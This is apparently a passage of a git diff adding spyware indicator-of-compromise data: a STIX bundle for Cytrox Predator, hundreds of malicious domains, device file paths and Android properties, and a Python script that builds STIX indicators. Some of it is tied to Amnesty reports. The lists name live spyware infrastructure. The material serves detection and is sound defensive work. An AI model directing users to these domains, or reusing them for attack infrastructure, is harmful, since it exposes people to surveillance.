"relationship--96ed1926-15d9-47cf-86d9-bcbef35b7e31", + "created": "2023-07-28T12:14:36.305043Z", + "modified": "2023-07-28T12:14:36.305043Z", + "relationship_type": "indicates", + "source_ref": "indicator--e64157f5-8660-4898-8c4c-b7bce1ce18fe", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc0e1183-a59d-4ea3-bc76-b44b7bc3ee6a", + "created": "2023-07-28T12:14:36.305119Z", + "modified": "2023-07-28T12:14:36.305119Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[configuration-profile:id='76DAB334-7E17-475D-A5D6-0794EB5818A5']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.305119Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14d5faab-d76c-4293-9e92-6f4da18466f2", + "created": "2023-07-28T12:14:36.305667Z", + "modified": "2023-07-28T12:14:36.305667Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc0e1183-a59d-4ea3-bc76-b44b7bc3ee6a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2021-12-16_cytrox/domains.txt b/data/ioc/spyware/amnesty/2021-12-16_cytrox/domains.txt new file mode 100644 index 0000000..1f737d6 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-12-16_cytrox/domains.txt @@ -0,0 +1,336 @@ +2y4nothing.xyz +5m5.io +actumali.org +addons.news +adibjan.net +adservices.gr.com +adultpcz.xyz +advertsservices.com +advfb.xyz +affise.app +almasryelyuom.com +alpineai.uk +alraeeenews.com +alraeesnews.net +altsantiri.news +amazing.lab +ancienthistory.xyz +android-apps.tech +api-apple-buy.com +api-telecommunication.com +applepps.com +apps-ios.net +aramexegypt.com +atheere.com +audit-pvv.com +bank-alahly.com +bbcsworld.com +bi.tly.gr.com +bi.tly.link +bit-li.com +bit-li.ws +bit-ly.link +bit-ly.org +bitlinkin.xyz +bitlly.live +bitlyrs.com +bitt.fi +bity.ws +bityl.me +blacktrail.xyz +bmw.gr.com +bookjob.club +browsercheck.services +bumabara.bid +burgerprince.us +businesnews.net +canyouc.xyz +carrefourmisr.com +cbbc01.xyz +celebrnewz.xyz +cellconn.net +charmander.xyz +chatwithme.store +citroen.gr.com +ckforward.one +clockupdate.com +cloudstatistics.net +cloudtimesync.com +cnn.gr.com +conlnk.one +connectivitycheck.live +connectivitycheck.online +connectivitychecker.com +contents-domain.com +covid19masks.shop +crashonline.site +cut.red +cyber.country +danas.bid +distedc.com +download4you.xyz +dragonair.xyz +eagerfox.xyz +ebill.cosmote.center +edolio5.com +efsyn.news +efsyn.online +eg-gov.org +egyqaz.com +elpais.me +emvolio-gov.gr +engine.ninja +enigmase.xyz +enikos.news +ereportaz.news +espressonews.gr.com +etisalategypt.tech +etisalatgreen.com +ewish.cards +fastdownload.me +fastuploads.xyz +fbc8213450838f7ae251d4519c195138.xyz +ferrari.gr.com +ffoxnewz.com +fimes.gr.com +fireup.xyz +fisherman.engine.ninja +flash.gr.com +flexipagez.com +forwardeshoptt.com +getsignalapps.com +getsignalapps.live +getupdatesnow.xyz +goldenscent.net +goldenscint.com +goldescent.com +gosokm.com +guardian-tt.me +guardnew.live +guardnews.live +heaven.army +heiiasjournai.com +hellasjournal.company +hellasjournal.website +hellottec.art +hempower.shop +hopnope.xyz +icloudeu.com +icloudflair.com +iibt.xyz +ikea-egypt.net +ilnk.xyz +in-politics.com +inews.gr.com +infosms-a.site +inservices.digital +insider.gr.com +instagam.click +instagam.in +instagam.photos +instegram.co +insurance.gr.com +invoker.icu +ios-apps.store +iosmnbg.com +itcgr.live +itly.link +itter.me +jquery-updater.xyz +kathimerini.news +kinder.engine.ninja +koenigseggg.com +kohaicorp.com +koora-egypt.com +kormoran.bid +kranos.gr.com +lamborghini-s.shop +landingpg.xyz +landingpge.xyz +leanwithme.xyz +lexpress-mg.xyz +lexpress.me +lifestyleshops.net +limk.one +link-m.xyz +link-protection.com +linkit.cloud +linkit.digital +linktothisa.xyz +liponals.store +live24.gr.com +livingwithbadkidny.xyz +llinkedin.net +lnkedin.org +localegem.net +lubentv.com +lylink.online +makeitshort.xyz +md-news-direct.com +mifcbook.link +miniiosapps.xyz +mitube1.link +mlinks.ws +mobnetlink1.com +mobnetlink2.com +mobnetlink3.com +mozillaupdate.xyz +msas.ws +mycoffeeshop.shop +myfcbk.net +mytrips.quest +myutbe.net +mywebsitevpstest.xyz +nabd.site +nabde.app +nassosblog.gr.com +nemshi-news.live +nemshi-news.xyz +nemshi.net +networkenterprise.net +newsbeast.gr.com +newslive2.xyz +newzeto.xyz +newzgroup.xyz +niceonase.com +niceonesa.net +nikjol.xyz +nissan.gr.com +novosti.bid +oilgy.xyz +olexegy.com +olxeg.com +omanreal.net +omeega.xyz +onlineservices.gr.com +orangegypt.co +orchomenos.news +otaupdatesios.com +paok-24.com +pastepast.net +pdfviewer.app +playestore.net +pocopoc.xyz +politika.bid +politique-koaci.info +prmopromo.com +pronews.gr.com +protothema.live +proupload.xyz +ps1link.xyz +ps2link.xyz +quickupdates.xyz +qwert.xyz +qwxzyl.com +redeitt.com +redirecting.live +redirecting.page +safelyredirecting.com +safelyredirecting.digital +sepenet.gr.com +sephoragroup.com +servers-mobile.info +serviceupdaterequest.com +sextape225.me +shortely.xyz +shorten.fi +shortenurls.me +shortmee.one +shortwidgets.com +shortxyz.com +simetricode.uk +sinai-new.com +sitepref.xyz +smsuns.com +snapfire.xyz +sniper.pet +solargoup.xyz +solargroup.xyz +speedy.sbs +speedygonzales.xyz +speedymax.shop +sports-mdg.xyz +sportsnewz.site +static-graph.com +stonisi.news +supportset.net +suzuki.gr.com +svetovid.bid +symoty.com +syncservices.one +synctimestamp.com +syncupdate.site +telecomegy-ads.com +telenorconn.com +tesla-s.shop +teslal.shop +teslal.xyz +teslali.com +tgrthgsrgwrthwrtgwr.xyz +timestampsync.com +timeupdate.xyz +timeupdateservice.com +tiny.gr.com +tinylinks.live +tinyulrs.com +tinyurl.cloud +tiol.xyz +tly.gr.com +tly.link +tokoulouri.live +tovima.live +trecv.xyz +trecvf.xyz +tribune-mg.xyz +trkc.online +tsrt.xyz +tvxs.news +tw.itter.me +twtter.net +ube.gr.com +uberegypt.cn.com +updates4you.xyz +updateservice.center +updatetime.zone +updatingnews.xyz +updete.xyz +url-promo.club +url-tiny.app +uservicescheck.com +uservicesforyou.com +utube.digital +viva.gr.com +vodafoneegypt.tech +vodafonegypt.com +vouliwatch.gr.com +wavekli.xyz +we-site.net +weathear.live +weathernewz.xyz +weathersite.online +webaffise.com +wha.tsapp.me +worldnws.xyz +wtc1111.com +wtc2222.com +wtc3333.com +xf.actor +xnxx-hub.com +xyvok.xyz +yallakora-egy.com +yo.utube.digital +yo.utube.to +youarefired.xyz +yout.ube.gr.com +youtu-be.net +youtub.app +youtube.gr.live +youtube.voto +youtubesyncapi.com +youtubewatch.co +yuom7.net +z2a.digital +z2adigital.cloud +z2digital.cloud +zougla.gr.com +zougla.news diff --git a/data/ioc/spyware/amnesty/2021-12-16_cytrox/file_paths.txt b/data/ioc/spyware/amnesty/2021-12-16_cytrox/file_paths.txt new file mode 100644 index 0000000..d9c0922 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-12-16_cytrox/file_paths.txt @@ -0,0 +1,6 @@ +/private/var/tmp/UserEventAgent +/private/var/tmp/com.apple.WebKit.Networking +/private/var/tmp/hooker +/private/var/tmp/takePhoto +/data/local/tmp/wd/fs.db +/data/local/tmp/wd/ diff --git a/data/ioc/spyware/amnesty/2021-12-16_cytrox/generate_stix.py b/data/ioc/spyware/amnesty/2021-12-16_cytrox/generate_stix.py new file mode 100644 index 0000000..7bb8684 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-12-16_cytrox/generate_stix.py @@ -0,0 +1,41 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + if os.path.isfile("cytrox.stix2"): + os.remove("cytrox.stix2") + + with open("config_profiles.txt") as f: + configs = list(set([a.strip() for a in f.read().split()])) + + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("file_paths.txt") as f: + filepaths = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name="Predator", is_family=False, description="IOCs for Cytrox Predator") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for f in filepaths: + i = Indicator(indicator_types=["malicious-activity"], pattern="[file:path='{}']".format(f), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for c in configs: + i = Indicator(indicator_types=["malicious-activity"], pattern="[configuration-profile:id='{}']".format(c), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open("cytrox.stix2", "w+") as f: + f.write(bundle.serialize(indent=4)) + print("cytrox.stix2 file created") diff --git a/data/ioc/spyware/amnesty/2023-03-29_android_campaign/README.md b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/README.md new file mode 100644 index 0000000..d8a1284 --- /dev/null +++ b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/README.md @@ -0,0 +1,4 @@ +# New Android Hacking Campaign Linked To Mercenary Spyware Company + +This folder contains IOCs related to the report [New Android Hacking Campaign Linked To Mercenary Spyware Company](https://www.amnesty.org/en/latest/news/2023/03/new-android-hacking-campaign-linked-to-mercenary-spyware-company/) + diff --git a/data/ioc/spyware/amnesty/2023-03-29_android_campaign/android_properties.txt b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/android_properties.txt new file mode 100644 index 0000000..31ac3f0 --- /dev/null +++ b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/android_properties.txt @@ -0,0 +1,3 @@ +sys.brand.note +sys.brand.notes +sys.brand.doc diff --git a/data/ioc/spyware/amnesty/2023-03-29_android_campaign/domains.txt b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/domains.txt new file mode 100644 index 0000000..380b986 --- /dev/null +++ b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/domains.txt @@ -0,0 +1,2183 @@ +ablazenutrient.net +abreastelongated.com +abroadwizard.net +absintheskewer.net +absolutecool.net +abstainoxymoron.net +acceptway.com +acetonenemesis.net +achinessfiddle.net +acidconfront.link +acquaditerraverde.com +activatepromenade.org +activecurrent.net +acutelysilenced.net +acutenessoverwrite.net +aerosolchoosing.link +aerospacecesarean.net +affairplausibly.com +affordculminate.com +aflameattentive.org +afraidprevalent.net +aftermathafoot.net +aghastmascot.net +agreeablyboxcar.net +agreedflatfoot.com +agreementdental.net +ahoyculinary.org +aideoutskirts.com +airsoluzioni.com +akinetevassar.com +albumautomatic.net +aliascannon.com +alivemultiply.link +alloggiocenthia.com +almentaricollections.net +alphabetrepeal.org +althoughslot.net +aluminummollusk.com +alumnipolar.com +alyshacoffee.com +amazingpotluck.net +amicoaiuto.com +amideasiest.net +amorematerno.net +amperagechasing.net +amplifiedsound.net +amplypsychic.net +amusablefloss.org +ancientmystified.link +aneurismcharbroil.com +angelfishseltzer.net +angelicabags.net +anglerregroup.net +anglesyen.org +angryheaps.link +animalcrushable.net +annuitygrove.net +annuityguts.net +annuitytwigged.org +antacidtag.com +antelopehandsaw.com +antennaereanalyze.com +anthologytweet.net +antiheronutshell.net +antiruststylized.com +anytimeyippee.com +aortauncapped.net +apcdlords.net +appetiteretreat.com +applegoatskin.net +approvalrocking.org +arguablycrease.com +arguablyharpist.com +argueheadstand.com +armadillovanish.net +armfuldocile.net +armholereggae.com +aromaprimal.net +artmaster.uk +ascertainprance.net +ashiernanus.com +asparagusdeviation.net +asresidence.info +astronauturban.link +attainviolin.com +attemptbonus.org +attemptmousy.net +attendeeblog.com +atticlethargic.com +attractorbronchial.net +attributequickly.com +atypicalunwritten.link +audaciousvoting.net +audiencepostage.net +augmentedgreyhound.net +auraupend.net +aurorasongs.net +automakerlasso.net +automatedpaddling.com +automatedrelax.org +automatedsynopsis.net +availabletidings.org +avenuereborn.com +avidunleaded.com +awardantiquity.net +awardcomprised.com +backbonedscouring.net +backlightsingular.net +backpedalclover.com +backrestcrane.org +backrestracoon.org +backsidenifty.net +backtalkseptum.link +bacteriaoverall.com +bacteriumconflict.net +badgecoexist.com +badgeensure.net +badnessbackdrop.net +badnesswobble.org +bagfulbunkmate.com +baggiedrivable.com +bakeryanatomist.net +bakeshopslashing.com +banishheap.net +banneruniverse.net +bansheeroundness.link +bansheestatue.net +bantervisor.com +barbecueslacked.com +barberstorable.com +barricadedreadlock.com +barricadelunchroom.com +bashchivalry.com +basicallyhandrail.net +basilunfailing.com +basketcase.uk +beachplay.in +bearingglitter.org +bellsnature.net +blendavenue.net +blinkedmoaner.com +blinkingcart.com +blinkingeyes.net +blipric.info +bloatingunsteady.com +blogonion.com +bloomersmarbles.com +bluecheckered.com +bluerush.net +bluewaterwaves.net +blurrybaked.net +bmf-finanz.online +bnmbuilders.com +boasterunlikable.com +boastingresurrect.com +boatunmatched.com +bobbingsplice.com +boneheadwrought.net +bonyproactive.net +boogeymanhelping.org +boogiemanbotch.net +boostvesselcup.org +bootlacewidget.com +borroweronslaught.net +borrowerpursuit.net +botanicalplayhouse.com +botanyreaffirm.com +bothblooper.com +bothflyover.com +bowlingdown.com +bowlingshoein.com +breachresonate.com +breechesgem.com +brewingblitz.net +bridgedpipe.link +brightnights.in +bringretool.com +broadbandrekindle.com +broadsideriveting.com +broomthigh.net +broomwashday.com +broughtscheming.com +brownnosesqueegee.net +browsingoutsource.com +brutishlyworsening.org +bubbleties.org +buffoonearpiece.net +buffoonunwilling.com +bulgelivestock.com +bulginessgrandson.com +bullfightstack.com +bullringsnide.net +bullseyebuffing.net +bundledstraw.net +bundlegrader.net +bunnycompare.com +bursttrack.net +bushfrighten.com +busilysustained.net +cablingtrack.net +cadetfence.net +cadillacestimator.com +cadmiumworst.net +cakefried.net +calamariclunky.net +calculusscrawny.net +calendariorosa.com +calpcount.net +cameocrayon.net +campusshowplace.net +canolaemit.net +canopenercatalyst.org +canteenjiffy.net +canvaswealth.net +canyonlakes.net +canyonrarity.com +capitolwharf.net +capsulejubilant.com +caramelconjure.org +caratrejoicing.com +caravanshabby.com +carbonimaging.org +cardboardflashbulb.com +cargonearly.com +caringsunset.com +carlesspossum.net +carmakersmirk.net +carmania7.net +carpentryparasail.net +carportproofing.net +carrouseltributary.com +carryunhidden.net +carsonroad.net +carsticky.net +cartintrack.net +cartloadcraziness.org +cartloadporthole.com +carveribcage.net +casacibo.net +cashevident.com +cassattcurrent.com +categorythree.net +catfighthandbrake.net +cathouseportfolio.net +catnipendnote.net +cauterizetrustable.net +cautiondisclose.org +cavalrysank.com +celerydaunting.com +celibatecloning.net +cementposing.org +ceramicsclip.org +certaingiftkey.com +certaintystabilize.link +cesareandislocate.com +cetajude.com +chafeexposure.com +challengefanatic.com +challengeunranked.com +chantdrier.net +chappedfrosted.com +chapsonroad.com +charcoalrelatable.com +chastevascular.net +chastityvisibly.com +cheatingtributary.net +checkoutwallet.net +checkstop.net +cheekhumorous.net +chewablegallstone.org +chiefuntreated.com +childlesssketch.net +chipgluten.com +chiverelative.org +chokingdastardly.com +chooserencrypt.com +choosinggorgeous.org +chosentabby.com +chuggranddad.com +chummysimplify.net +chunkjawed.net +cibofattoincasa.net +cilantrobriar.net +circusjogger.net +citizenunsavory.com +cityresolved.com +cityson.net +civilwackiness.com +claimsupreme.link +clankingshowplace.org +claspcrawling.net +claspmangle.net +classicnames.eu +classicwallets.eu +clatterapplaud.com +clearblackpass.net +clearviewdirect.net +click-grid.com +click-grid.net +click-grid.org +climateyo-yo.net +clingcoleslaw.net +clingdistill.net +clobberagenda.com +cloningcommend.com +clothingunmindful.com +clubbedisolation.net +coasterjack.net +cobblebuttons.net +cobwebsixtieth.org +coddurably.net +coerceunreal.com +coffeespot.link +coffespots.com +cognitionsecurity.net +cognitivepanda.net +cogwheelgristle.link +coherencesector.net +coilrelax.com +collectedperky.com +collideretrain.net +collisionspirited.com +colonyaudacious.com +colorschoice.net +comacharcoal.com +comfosleep.net +comingricotta.com +commencebadge.com +commendparka.com +commodityutopia.net +commonprenatal.link +commuteembattled.link +companionexcavator.net +compostdeflector.com +comprisedplaypen.net +concavefrozen.net +concealquirk.com +conciergeduke.net +concludealiens.net +condensevictory.com +conditiontray.net +conducivesquash.com +conductorjaws.net +coneremindful.link +confessplatter.net +confidentreplace.org +confusingundermost.link +connectedlimes.com +consolevisa.com +contactblog.net +contactcoliseum.com +containerspinner.net +contentlysandbank.com +contrascene.com +convenefleshy.com +cooledroads.net +copartnerretrieval.com +copiedunderuse.com +copymooing.com +copyoutsource.com +corncobundertone.link +corneayonder.com +cottonstubbed.net +coughunhappy.net +countablewick.link +coverconnections.org +covershowcase.net +cradlingtranspose.com +cratespray.net +crawfishalive.org +crawlersfrown.com +crawlersopal.link +crazedoak.com +creamlikeexcusably.com +creativereword.org +creptmorphing.net +crestedomega.net +cringepaver.com +crispnesscheating.com +crispybotch.link +crookoat.com +cropandpop.com +crossrace.net +crossscrabble.link +crouchluckless.net +crucialunviable.net +crudelythirteen.net +crudenessisolating.net +crudenessundusted.net +cruiserbikes.in +crunchytimber.com +cucinageorgio.com +cuddlynumber.com +culminaterelax.net +culpritsiding.com +curadellamadre.com +curdlefresh.com +curingstraggler.net +curledwire.org +curlerangriness.link +curlinesscoerce.net +curlingnintendo.net +currentcalc.net +curvedhallway.net +custodypagan.net +cycleriders.in +cyclicobstinate.net +cylinderespresso.com +cylinderjustness.org +cymbalopossum.link +dailymusic.org +dailytaunt.net +dairycannot.com +dairyfreeload.net +daisyrascal.org +dangerplated.net +daresextended.com +darkroomsilly.com +darttactful.com +dawnhamstring.net +daysupport.uk +dazzlerahoy.org +ddetik.net +ddetik.org +dealingmolehill.com +dealtconstruct.link +dealtuncorrupt.com +debateluncheon.com +debtlessoverlook.net +debugcamisole.com +decembercoping.com +decencysnowbird.net +deciphermanifesto.net +declaredremote.net +declineunluckily.link +deepenthebond.net +defacingtrustable.com +defenselugged.net +defiantwaltz.com +defilingrectify.net +defrostsmugness.org +deftlyunshipped.com +deityculpable.net +delousesnowdrift.net +deltaburner.com +delugescrubbed.com +delusiontruth.com +deniableoverblown.link +depictesquire.com +deputizemaker.net +derbyextent.com +desertland.uk +designerbalsamic.net +designingcure.net +destituterundown.net +detentiondelusion.com +diabolicfraction.com +diabolicsizably.org +diagramremover.net +diameterdeceiving.net +dicedoptions.com +dictationsmite.com +diffusivelandscape.net +diligentthose.com +dimedreamt.com +diminishoverstep.org +dimpleretrain.com +dingoshifty.com +diningsprain.com +diplomaoverhung.net +diplomaunified.com +dippedfoil.net +disbursedemotion.com +discardchop.net +discernemphatic.com +dischargehyperlink.net +discovertrimester.net +dislikingsatisfied.com +dislocateuncolored.net +dismountsafari.net +disparatebronchial.com +disparatetidbit.net +dispersercitric.net +disruptscreen.com +dittoveal.net +divinehuntbegins.net +dolcicarlo.com +dolphinblinked.net +dolphinwhisking.net +domainonepart.net +donatellostudio.net +donorashes.com +doodleamaretto.com +doorknobprodigy.com +doorpostquintuple.net +dosageregime.com +doseprewar.com +dosetwiddle.com +drainagefencing.net +dramatizeunbounded.net +dramatizewildness.com +dreamboatunmolded.org +dreamilysaffron.net +dreamlessvirtuous.org +dreamtreforest.com +dreamyfriday.com +driedammonia.org +drillerschedule.net +drinkableunequal.net +drivablewikipedia.net +drivablewrath.net +drizzlybobbing.net +dropoutjackpot.org +droppedstar.info +drumshunting.com +dubiouslyimproper.com +duckbillcryptic.net +ducktailliqueur.com +dugoutsparred.com +dulleritinerary.net +dumblehumble.com +duressdeeply.link +dwarfscoff.net +dwellingacting.net +dwindlescandal.com +dynastyprewashed.net +dysandancers.com +dyslexicaxis.net +dyslexiccartload.net +e-albania-services.com +eagleoperate.net +earringcolony.org +earringskinhead.com +earthandskytour.com +earthenbarmaid.com +earthlyshrouded.com +earthwormshady.net +easelwifi.net +easilysecond.com +easinessmonotype.net +easinesstarmac.net +eastcoastjigsaw.net +eatingmagazine.net +eatsaged.net +eccentricdepletion.com +economistdebit.link +elaborateoutmatch.org +elaboratetattling.net +eldercareactive.org +electionepic.com +electrifalse.org +elveslibrarian.com +emailcringe.net +emitbooting.net +encircleshrunk.net +encroachdelta.link +encryptgraveness.link +encryptknee.org +encryptoverflow.com +endearingparlor.com +endorsecongress.com +enduringtrifocals.com +engagingserve.link +engravingamperage.com +enjoyablyunrobed.org +enrageenvy.link +enrichunlocked.org +entangledearflap.net +entityunclaimed.com +entouragefrugality.net +envelopeyard.net +envyupturned.com +epicgrain.net +epiduralcrinkly.net +equalmuck.com +equatoranemia.net +erasabletarantula.com +erraticstray.com +esagonoworld.com +escapableunderfoot.net +escapableunskilled.net +escargotjustness.com +esprimereluka.com +estatebuzz.net +estimatormanpower.net +estimatorretaining.net +eternaltyke.com +eternityscrunch.com +etherseldom.link +ethicsarmadillo.com +evadetiara.net +evaporatesnitch.net +everyonefile.net +exactquizzical.com +exclaimflashing.com +excludeskies.com +exemplaryimpose.com +exerciserrepost.net +exfoliatedollop.net +exilecarmaker.net +existingunsealed.net +exorcismaskew.com +expandrecolor.net +expectantsalvation.net +exposurethirstily.net +expressfood.link +extraditesubarctic.link +extrovertsurfer.net +extrudinguncouth.com +factorybug.net +factualpantry.org +fadedcrowns.link +fairchancefit.net +falconheadfirst.com +fallingstars.eu +falsebreeder.com +falsifycadet.com +fanciedpartner.com +faqstuffworld.net +fast3car.com +fastcatch.net +fastdeliverygroup.com +fastfourbelt.net +fastnessconfound.net +fastship3.com +favoritegraceful.net +feastmonthly.com +fedoraunsterile.link +feminizeuseable.com +femmeagal.net +fencingdiagnoses.net +ferretblooper.com +ferryduke.org +festereasiness.link +fidelityoutburst.link +filingprimer.com +finaboasto.info +finalecane.net +finalejailhouse.com +finalstill.com +finisherrebuilt.net +finishingsash.com +finiteremember.net +firstcarton.com +firstcraft.net +firstjeepplus.net +firstonbutton.net +firsttask.nl +firsttrack.net +firstyell.com +firstyellowbox.com +fishlight.nl +fivelatrine.com +fivereimburse.com +flagpolerobe.org +flagshiphazy.net +flagstickglaring.net +flagstoneblatantly.net +flashbackbacktalk.org +flatbluenotes.net +flightjaybird.net +fliprevolver.net +flockannouncer.net +flocksmite.net +floraldealing.com +flowermake.net +flyableturmoil.com +flyingbuyer.org +flyingdoodle.net +fogdetergent.com +foldedcolor.link +foldedcups.link +folkoppressor.com +fontstifling.com +footbathconfident.net +footbathhusband.net +footnotedoze.net +footsorecrazed.org +forestwhite.net +formallyloudhut.net +fornochelsea.com +forsuit.net +foundingcatlike.org +foundingidealist.com +fourrestarts.com +fragilitycreative.net +fragmentclapped.net +fragranttheater.com +freebaserepurpose.com +freehanddurably.com +freeloadgreeter.net +freewarejoyride.net +fresijo.net +frictionawoke.com +friedrepeated.net +frightfulbonehead.net +frigidityastrology.link +fringeheroics.com +friskunluckily.net +frivolouseastward.net +frostingskilled.net +frostlikeitalicize.com +frozencasting.net +gagunkind.net +gagunlivable.net +gaiamiacola.com +gainsunfounded.com +gallantlyhandwork.net +gallstonegrew.net +gamesauciness.com +ganderviable.net +ganglydespise.com +garageanimosity.net +gatradi.info +gaugingresource.net +gauzeferocity.link +geckoproviding.com +geigerspectrum.org +gemblend.net +gemchunk.org +gemcopackages.net +gentileheaviness.com +geologyalto.net +geraniumcascade.net +germlessoutgrow.net +germproofpapyrus.com +gestationtarnish.net +getfirston.net +gettingbook.net +gettingnuclei.com +giantdreamer.net +gizmosnazzy.com +glacierheaded.link +glasspesky.net +glegoffkey.org +glencortowers.org +gliderdandruff.link +glidingcoral.net +glimmerpelican.org +glitzymusty.link +gloaterchallenge.com +globalcartons.com +glorifiedsatin.com +glucosesixth.org +goingsystem.com +golfscowling.net +gonadtree.com +gonadunskilled.net +gondolaopulently.com +goofinessyard.net +goonthesis.com +goslingemployed.net +gossiphammock.com +graduallybonding.net +graffitiflashbulb.net +graftinghandyman.com +grainrobotics.net +grandlydeceiver.org +grandpaporthole.com +grandsonthrower.com +gravenesspresuming.com +greasilytighten.net +greenbirdhouse.net +greenhighway.link +greenpadlake.net +greenpartone.net +greenpillers.net +grimyfritter.net +grinningcontext.link +grooveexposure.com +grubuncrown.net +guacamolemower.net +guidanceafar.net +guiserejoice.org +guitarnotes.in +habitantobtain.com +hackedhalved.com +haintnape.net +halacafe.in +hammockstreak.com +hamsterstyling.net +handbrakeattest.net +handheldgargle.com +handinessworried.link +handrailcesspool.com +handsetoutbreak.com +handwritebasics.org +handwriteefficient.com +hankiestubbly.com +happiermanila.net +happilydeviation.net +happinessreclaim.org +harddiskhurt.net +hardheadjuiciness.org +hardinesseverglade.net +hardymagnetic.net +hareemostial.net +harmonizebooth.net +harmonizetrifocals.net +harnesskissable.net +harnesslanguage.com +harpbrooms.net +hashtubeless.net +hatlesseconomist.net +hazedvision.link +headachecornstalk.org +headbandcrispy.com +headfirstgrimacing.com +headlessimprint.com +headphonedice.link +headrestprance.net +healthprods.net +heavejailbreak.net +hectorsplumbing.link +hedgeprojects.net +hedgingmatrimony.com +heliumscanning.net +hellochat.pl +helo-babe.com +helo-babe.net +helo-babe.org +helperreversing.com +henryspumps.com +hexagonbuccaneer.net +homeoneaccount.com +hotelstardust.net +hsd-cdn.com +hubertsgardens.in +hughwindows.net +humbleimporter.net +humblingaffluent.net +humblingslapping.org +humblysnap.com +hummingdarkness.net +hummingendearing.net +hummingtables.net +hummusrepaying.com +humoristnuclei.net +humorlesscharity.net +hunchbackgosling.com +hunchbackseizing.net +huntingdarkness.org +huntressutilize.net +hurdlecuddly.com +hurtcane.com +hurtimpromptu.com +hushgreenplate.net +hydrantbacking.com +hydrationurban.net +ibuprofenflatterer.net +ibuprofenpelvis.net +icedcamping.org +icepeacemountain.com +icepickmountains.info +icesuburb.net +identicalprocedure.com +ignorebobbed.com +illusivecube.net +imaginarydirection.com +imagineframes.net +imitatekilometer.com +immersionkarate.net +immortalream.net +impartsnore.net +impendingtarget.net +implantstatus.net +implementfifty.net +implicatedupe.net +impotencejujitsu.com +impotencykleenex.org +impotentethanol.org +imprintshortwave.org +imprisoncoping.link +improperzippy.org +improvechalice.com +improvingvideo.org +improvingvoicing.org +improviseshopper.net +impulsesplice.net +infinitysky.in +inkedcubes.net +iodinequarrel.net +iontightwad.net +iphonesnagged.net +irritablescoured.com +issueherring.net +jabiruserated.net +jacketaffection.net +jacketenjoyable.com +jacksonsstalle.com +jailbirdtassel.net +jailbirdundermost.net +januarytinfoil.link +jargonspearmint.net +jaundicegosling.link +jauntturret.com +javagratified.com +jaybirdbonnet.com +jaywalkerranking.link +jenasvetro.com +jiffypreppy.com +jobnutshell.net +jockstrapdecibel.com +jointwillowluck.com +jokesterappraisal.net +jokinglyconclude.net +joyfullypoach.net +joystickboundless.net +jubilanceskyline.org +judodirectory.net +jugglethousand.com +jugglingcarton.net +jugularcopilot.com +jugulartrifocals.net +juicesushi.com +jujitsuthermos.com +jukeboxpep.net +junctureaffix.net +junedimple.link +jupitorleague.net +justifierexpire.link +justnesswaving.com +juveniledisorder.net +karaokeoppressed.net +keeptimerusty.org +kellerprogetti.com +kelpacronym.net +kelpastound.com +kelpwrecking.org +kentecplastics.net +kettlerobust.net +kgfconstruction.in +kickshotfirst.org +kiddycandy.in +kidoworld.net +kilobytejaybird.net +kingparty.net +kitchenpalace.in +klick-suara.com +klick-suara.net +klick-suara.org +klicksuara.com +klicksuara.net +klicksuara.org +knapsackdenture.com +kneeunmovable.com +knickersbucked.net +knollcanon.net +knolldander.net +koalacurtsy.net +kommersdrag.net +kompasgroup.net +kompasgroup.org +konpas.org +laboriouscold.net +laggedatrium.org +lakebouncing.org +landlordimpose.link +landscapepaddle.com +landslideserrated.org +lankinesstranslate.com +larkhypnotize.net +lateout.net +latergain.net +latestcurl.com +latestupdate.net +latrinepagan.com +launderpsychic.com +laundrydimly.net +lavoripaul.com +lazilyreproduce.com +learncarnot.com +learningstart.net +leasepull.com +lecturersenior.com +legalfavorably.net +legiblereaffirm.com +legroomcharacter.link +legroomcoherence.com +leogarage.com +lessercollage.net +lessonthree.com +letsblue.net +letsnotgo.com +leverageendorphin.link +leversoverflow.link +libriworld.com +lickingguiding.com +lightbreak.net +lightgiveaway.net +lightlogo.net +likenessharmony.net +likethespirit.com +likewiseglazing.com +lillypizzaro.com +limespromenade.net +limesthicken.net +limitsteering.org +linguiniwing.net +liningbless.net +linkhutyellow.net +liputtan6.com +liputtan6.net +liputtan6.org +lispperoxide.com +lisprinsing.com +littlemaster.net +livelyvertigo.net +localdishmenu.net +lockmake.net +lonemake.com +lonemask.com +longworld.net +lonsfacts.com +lostship.net +lowerkitchen.com +lucidtwisty.com +luckinessonward.net +lucygardens.net +luremultitude.com +luridnesswow.net +macarenarevenue.org +magnetismokay.com +maisonikkoku.net +makehappyface.net +makelifetwo.com +makethetray.com +managedev.net +manateefender.com +mandarinjunkman.net +mangocatatonic.com +mangokeep.net +mangosituation.com +manhandleperoxide.com +manhandleshininess.org +manholegeology.org +manhoodgravy.com +margaritatuesday.net +marinawikipedia.net +maritalexporter.com +marlinpurplish.com +marxismboots.net +mashedmanor.com +massbulb.com +masstree.net +mastercrate.net +masterlights.net +masterplayart.com +masterprogetti.com +matadorthinning.net +matadortraitor.com +matadorupchuck.net +matchlessradiated.net +mathskids.net +matingvocation.net +matterpolygon.com +maturitybreeze.com +mauvereliance.net 